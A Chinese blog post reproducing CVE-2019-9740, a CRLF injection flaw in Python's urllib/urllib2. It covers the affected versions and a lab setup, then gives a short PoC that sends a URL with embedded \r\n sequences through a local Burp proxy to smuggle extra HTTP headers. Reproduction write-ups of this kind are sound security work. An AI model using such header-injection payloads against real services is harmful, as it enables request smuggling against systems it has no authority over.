（环境搭建+复现）CVE-2019-9740 Python urllib CRLF 注入

最新推荐文章于 2023-03-27 20:33:24 发布

daxi0ng

最新推荐文章于 2023-03-27 20:33:24 发布

阅读量2k

点赞数

分类专栏：漏洞复现

本文链接：https://blog.csdn.net/qq_40989258/article/details/104735997

版权

漏洞复现专栏收录该内容

31 篇文章 30 订阅

订阅专栏

【CVE编号】

CVE-2019-9740

【漏洞名称】

Python urllib CRLF 命令注入漏洞

1【靶标分类】

通用漏洞组件

2【影响版本】

Python 2.x版本至2.7.16版本中的urllib2

Python 3.x版本至3.7.2版本中的urllib

3【漏洞分类】

命令注入

4【漏洞等级】

高

5【漏洞简介】

Python是Python软件基金会的一套开源的、面向对象的程序设计语言。该语言具有可扩展、支持模块和包、支持多种平台等特点。urllib是其中的一个用于处理URL的模块。urllib2是其中的一个用于获取URL（统一资源定位符）的模块。

Python 2.x版本至2.7.16版本中的urllib2和Python 3.x版本至3.7.2版本中的urllib存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中，网络系统或产品缺乏对用户输入数据的正确验证，未过滤或未正确过滤掉其中的特殊元素，导致系统或产品产生解析或解释方式错误。

0x01【靶标运行环境】

操作系统：win7专业版

中间件版本：Apache 2.4.23（win32）

编程语言版本：PHP 5.4.45

数据库版本：MySQL 5.5.53

Python版本：2.7.15

工具：burpsuite，phpstudy

【靶标利用过程】

工具：burpsuite，phpstudy

编写poc文件1.py，验证漏洞存在

# The proxy address and port:
import urllib2
proxy_info = { 'host' : '127.0.0.1',
               'port' : 8080
             }

# We create a handler for the proxy
proxy_support = urllib2.ProxyHandler({"http" : "http://%(host)s:%(port)d" % proxy_info})

# We create an opener which uses this handler:
opener = urllib2.build_opener(proxy_support)

# Then we install this opener as the default opener for urllib2:
urllib2.install_opener(opener)

# Now we can send our HTTP request:
url = "http://127.0.0.1?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123:8080/test/?test=a"
htmlpage = urllib2.urlopen(url).read()
print htmlpage

3、运行poc，这里我们使用urllib2的代理服务到burp上，让我们比较明显的看到漏洞的发生。